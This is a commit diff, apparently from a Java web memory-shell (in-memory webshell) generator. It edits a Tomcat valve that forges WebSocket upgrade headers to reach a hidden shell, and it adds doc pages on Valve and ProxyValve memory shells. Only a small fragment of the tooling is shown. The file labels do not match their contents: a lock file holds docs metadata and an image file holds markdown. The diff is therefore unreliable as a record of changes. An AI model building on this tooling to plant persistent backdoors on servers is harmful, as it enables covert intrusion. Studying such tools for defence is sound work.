docs: add websocket usage

Author: ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java

@@ -37,7 +37,6 @@ public void invoke(Request request, Response response) throws IOException, Servl
                     throw new ServletException("Server container not found");
                 }
                 addHeader(request, "Connection", "upgrade");
-                addHeader(request, "Sec-WebSocket-Version", "13");
                 addHeader(request, "Upgrade", "websocket");
                 Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
                 Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");

web/bun.lock

@@ -1,4 +1,4 @@
 {
   "title": "中间件内存马",
-  "pages": ["tomcat", "jetty"]
+  "pages": ["tomcat-valve", "tomcat-websocket", "jetty"]
 }

web/content/docs/images/command_bypass_ws.png

@@ -0,0 +1,7 @@
+---
+title: Tomcat Valve
+---
+
+## Valve 内存马
+
+## ProxyValve 内存马